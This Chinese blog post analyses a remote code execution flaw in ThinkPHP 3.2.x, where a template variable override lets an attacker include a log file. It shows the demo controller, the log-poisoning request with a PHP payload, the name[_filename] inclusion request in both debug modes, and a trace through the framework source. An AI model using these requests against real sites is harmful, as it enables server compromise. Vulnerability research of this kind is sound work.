【TP3.2.x】ThinkPHP 3.2.x 因变量覆盖导致RCE

本文最后更新于:2022年2月24日下午5点59分

利用方式

debug模式关闭

新建一个Home模块,在Home模块下新建控制器HelloController.class.php,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace Home\Controller;

use Think\Controller;

class HelloController extends Controller
{
public function index($name=''){
$this->assign($name);
$this->display();
}
}

Home模块内新建视图index.html(这个index与上方方法中index对应)

路径为:Application/Home/view/Hello/index.html

内容如下:(其实内容可有可无,这里我就将其加上)

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<h3>Hello</h3>
</body>
</html>

此时访问index.php?m=Home&c=Hello&a=index

得到的内容为:

1
Hello

接下来进行攻击,此时访问index.php?m=--><?=phpinfo();?>,注意,需要使用bp抓包,否则<>会被编码

image-20220223172456684

可以看到系统发生错误

此时日志Application/Runtime/Logs/Common/22_02_23.log内容如下:

1
2
[ 2022-02-23T18:03:48+08:00 ] 127.0.0.1 /index.php?m=--><?=phpinfo();?>
ERR: 无法加载模块:-->

此时访问?m=Home&c=Hello&a=index&name[_filename]=./Application/Runtime/Logs/Common/22_02_23.log

可以发现RCE成功

image-20220223175446765

debug模式开启

index.php中将debug模式开启

首先访问?m=Home&c=Hello&a=index&name=--><?=phpinfo();?>记录日志

image-20220223180719139

此时日志内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[ 2022-02-23T18:06:53+08:00 ] 127.0.0.1 /index.php?m=Home&c=Hello&a=index&name=--><?=phpinfo();?>
INFO: [ app_init ] --START--
INFO: Run Behavior\BuildLiteBehavior [ RunTime:0.000020s ]
INFO: [ app_init ] --END-- [ RunTime:0.000093s ]
INFO: [ app_begin ] --START--
INFO: Run Behavior\ReadHtmlCacheBehavior [ RunTime:0.000395s ]
INFO: [ app_begin ] --END-- [ RunTime:0.000497s ]
INFO: [ view_parse ] --START--
INFO: [ template_filter ] --START--
INFO: Run Behavior\ContentReplaceBehavior [ RunTime:0.000048s ]
INFO: [ template_filter ] --END-- [ RunTime:0.000141s ]
INFO: Run Behavior\ParseTemplateBehavior [ RunTime:0.004109s ]
INFO: [ view_parse ] --END-- [ RunTime:0.004179s ]
INFO: [ view_filter ] --START--
INFO: Run Behavior\WriteHtmlCacheBehavior [ RunTime:0.000129s ]
INFO: [ view_filter ] --END-- [ RunTime:0.000194s ]
INFO: [ app_end ] --START--
INFO: Run Behavior\ShowPageTraceBehavior [ RunTime:0.000304s ]
INFO: [ app_end ] --END-- [ RunTime:0.000366s ]

然后再访问index.php?m=Home&c=Hello&a=index&name[_filename]=./Application/Runtime/Logs/Home/22_02_23.log

image-20220223180901606

同样RCE成功

底层代码跟进

Hello控制器如下:

image-20220224155000619

跟进$this->assign($name),该方法位于ThinkPHP/Mode/Lite/Controller.class.php

image-20220224155225992

跟进$this->view->assign($name, $value),该方法位于ThinkPHP/Library/Think/View.class.php

image-20220224155700303

这个地方会将我们传入的$name变量放到$this->tVar中,这里使用到了array_merge函数,这意味着我们传入的$name可以为数组形式

其中$this->tVar的变量介绍如下

1
2
3
4
5
6
/**
* 模板输出变量
* @var tVar
* @access protected
*/
protected $tVar = array();

至此,模板就生成了,接下来进入display方法,display方法将会解析该模板

跟进display方法,该方法位于ThinkPHP/Mode/Lite/Controller.class.php

image-20220224160332458

这里没有多余的代码,接着跟进display方法,该方法位于ThinkPHP/Library/Think/View.class.php

image-20220224161310281

其中fetch方法也在这一个文件中,大约在110行的位置,跟进分析:

image-20220224162251518

跟进listen静态方法,代码位于ThinkPHP/Library/Think/Hook.class.php

image-20220224164645802

跟进exec方法,代码位于同一个文件中

image-20220224164945206

跟进run方法,代码位于ThinkPHP/Library/Behavior/ParseTemplateBehavior.class.php

image-20220224171757132

跟进fetch方法,代码位于ThinkPHP/Library/Think/Template.class.php

image-20220224172358994

$_filename为前面的缓存文件路径,如果不为空就将$_filename覆盖

image-20220224173209884

image-20220224173506719

最终导致文件包含